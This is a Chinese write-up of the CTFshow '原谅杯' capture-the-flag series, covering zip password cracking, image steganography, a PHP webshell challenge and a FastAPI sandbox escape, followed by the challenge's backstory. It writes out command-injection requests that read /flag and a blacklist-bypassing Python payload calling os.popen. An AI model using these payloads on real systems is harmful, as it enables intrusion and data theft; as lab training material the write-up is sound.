CTFshow-原谅杯

前言

      正经人谁做题啊,不都是来看狗血剧情的吗(●ˇ∀ˇ●)

原谅1

第一步看图猜压缩包密码,猜不出来,但是可以看出前四位是1317,后面还有7和啤酒的p,之后通过掩码攻击爆破出密码(个别表情表示的密码有两位)

1317bi77p9u

解压之后使用stegsolve打开图片,调整颜色属性,在Green plane时出flag。

原谅2

加密zip,其中hint.txt可以打开

仏曰wohsftc敩廢孒適僦湜壓縮笣哋key

火星文,在线网站转换得到

佛曰wohsftc学废了这就是压缩包的key

没想到整个字段就是密码。。。还真脑洞啊,解压获得flag。

原谅3_来份色图

binwalk分析,发现了一共三张png,那么应该有两张被隐藏了,foremost分离。

可选步骤:zsteg setu.png -a分析,发现lsb隐写,zsteg -e "b8,rgb,lsb,xy" setu.png > 2.png提取隐写图片。

事实上foremost分离出来的两张图片提取出来的隐写图片就是原图+盲水印,通过图片大小可以很清楚的分清那张是原图,然后直接通过BlindWaterMark工具提取盲水印内容。

注意:这里有个坑,python2的bwm.py的脚本无法正常decode(试了好久),通过python3的bwmforpy3.py才能提取出flag.png。

记录一下python2安装cv2库参考最简单方法:windows平台下python安装opencv,即实现import cv2功能,万一以后还要用呢,嘿嘿嘿。

原谅4

1
 <?php isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);

ls列目录,发现index.phpyuanliang_4_xxx.zip,flag在根目录下。测试发现好多读文件的命令被ban了,但是可以写文件:

echo "<?php phpinfo();?>" > 1.php

能正常执行,可惜没有flag,但是不妨碍我们先收集一波信息:

disable_functions:
chdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink,scandir,popepassthru,fsocket

open_basedir:/var/www/html

不会了,ban了好多东西,eval也ban了,只好一口气把hint都买了:

老前辈说过“最安全的系统就是什么都没有”,我把没用的命令都删了,看你还怎么执行
你知道系统环境变量里的PATH是干什么的吗?

第一个应该是提示删除了很多系统命令,没啥用。。。看第二个,顺着$PATH去看,发现只留了sh、ls和rm命令,太绝了。

姿势一

sh脚本读取文件和访问

当前目录新建sh脚本文件,输入文件读取的bash命令,最后/bin/sh执行获取flag。

1
2
?xbx=echo -e "%23!/bin/sh\nwhile read LINE\ndo\necho \$LINE\ndone < /flag" > readflag
?xbx=/bin/sh readflag

姿势二(不会)

通过phpinfo的信息我们可以得到php.ini的位置:

Configuration File (php.ini) Path /usr/local/etc/php

额,之前看群消息说这种方法可以做,但是我还没有实现。。。

原谅5_fastapi2

hint1:https://ctfshow.lanzoui.com/iKaushwaoyh
hint2:为了防止偷看我把变量都改了名字,还把关键词的黑名单挪到了函数外面。
hint3:给你过滤的关键词又如何,['import', 'open', 'eval', 'exec', 'class', ''', '"', 'vars', 'str', 'chr']。web入门里的知识点,换成python了而已。

这hint买了挺亏的,尤其是第一个。。。

做过fastapi的应该知道这里存在/docs路由,访问发现/yuanliang_5_aaxx.zip/ccccalcccc路由,且告诉了

flag就在根目录,但我不相信你能得到她

按照之前的fastapi的问题,由于规定了接收的q是string型,因此"".__class__这类返回的class类型就会引起错误,因此需要将其转为str型,群里大佬给了方法:通过bytes.fromhex()绕过waf,同时也可以保证str型

payload

1
q=__import__(bytes.fromhex(hex(28531)[2:]).decode()).popen(bytes.fromhex(hex({})[2:]).decode()).readlines()

Unicode绕过。。。nb

原谅6_web3

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
include('waf.php');
$file = $_GET['file'] ?? NULL;
$content = $_POST['content'] ?? NULL;
(waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;

留坑待填

完整剧情

      大概一个月前,闲鱼上有个人找到我,希望我能帮忙做一个求婚视频。在和他沟通的过程中,知道他为这次的求婚准备了很久,甚至于半夜我给他看成品的时候,他还在布置场地,那个时候,离他的求婚还有28天。
      在和他的沟通过程中,能感受到他对女生的珍视。他能细致地讲出每一张照片背后发生的故事,当时的心情和她的情绪。我一边帮他剪视频,一边感受着他们甜甜的恋爱。我这个多愁善感的人当时也是满带祝福的帮他剪完了视频。
      后来到了应该是他求婚的那个晚上,我看到他发了一条朋友圈,说“得之我幸,失之我命”,第二天也是连发了两条消极的朋友圈,我猜他应该是求婚失败了,遗憾之余在评论里安慰了几句。
      后来微信的消息框里就弹来了他的消息。事情真的是出人意料。
      后面的故事,暂且称男主A,女主B。
      两个人是一个地方的,可是B在另一个城市工作。在他求婚失败的第二天,一个从她工作的城市赶来的男生C加了他的微信,告诉他,他们已经同居三年了。A的第一反应当然是不信,随后C给他看了两人的聊天记录。聊天记录里,B说她和A早已分手,没了联系。C还给他看了两人同居的房间,A以前去那个城市看她的时候,还去过那个房间。可想而知,当时的A有多崩溃。
      C正坐高铁赶往他们的城市,去找B算账。A当时的第一反应,依然是,“她是我唯一爱过的女人,我一定要确保她的安全。”我懂他的深爱,并不是一时的打击能立马放下的。然而后来的事情越来的越让人难以接受,他又得知了B以前的职业是小姐。
      看到这些消息的时候,特别心疼这个男生。我不知道他要怎么去承受这些。一个自己深深爱着,日夜都想娶回家的姑娘,实际上却是大大超出了世俗所能接受的模样。
      他找我的时候,已经两天两夜没有睡觉了,第一天是求婚失败分手的打击,第二天是得知真相的打击。我还特地去问了一个男生,他告诉我只有很爱很爱对方才会求婚。可是我也只能说一些无力的安慰的话,只希望他能快点走出来。
      如果事情就这么结束,好像也就是一个渣女劈腿的故事罢了。可惜并不是这样。
      第二天晚上他又找我了,女生自杀了。我当时的心情,真是咯噔了一下。
      女生吃了两盒头孢一瓶二锅头。他给我看了女生自杀前发给他的话。
      A告诉我,直到现在,他还爱着她,还是想保护好她,他现在只想尽自己的力,帮她调理好身体,到时候给她请一个心理医生。
      其实听到这些的时候,我并没有太意外,如果是我,我也会做出一样的选择,我甚至于相信,两个人都同样的爱对方。可是他告诉我,身边的人都在骂他犯贱,可是他真的放不下她,看不得她受委屈,受伤害。
      我也开始疑惑了起来。找了几个相熟的男生,问了问他们会怎么做。果然大部分都觉得难以理解他的举动。有个人说,就算他现在不管不顾地和她在一起,等他们以后一起走在了路上,碰到了以前的顾客,他还能泰然自若吗。他身边的人,以后要怎么面对她。他这么做,相当于抛弃了所有的家人和朋友,不和他们来往。其实当时挺难受的,觉得他们太过于理性了,能够立马抛弃所有的感情,哪怕对方都为你死了一次。
      最终男生还是决定遵从自己的内心。他真的很爱她。
我也不确定他以后会过的怎么样。但我想,起码现在,“犯贱”这样可以让他放过自己。
=====================================
全部完,所有情节均来自互联网,如有雷同,纯属,额,雷同。

参考

CTFshow 原谅杯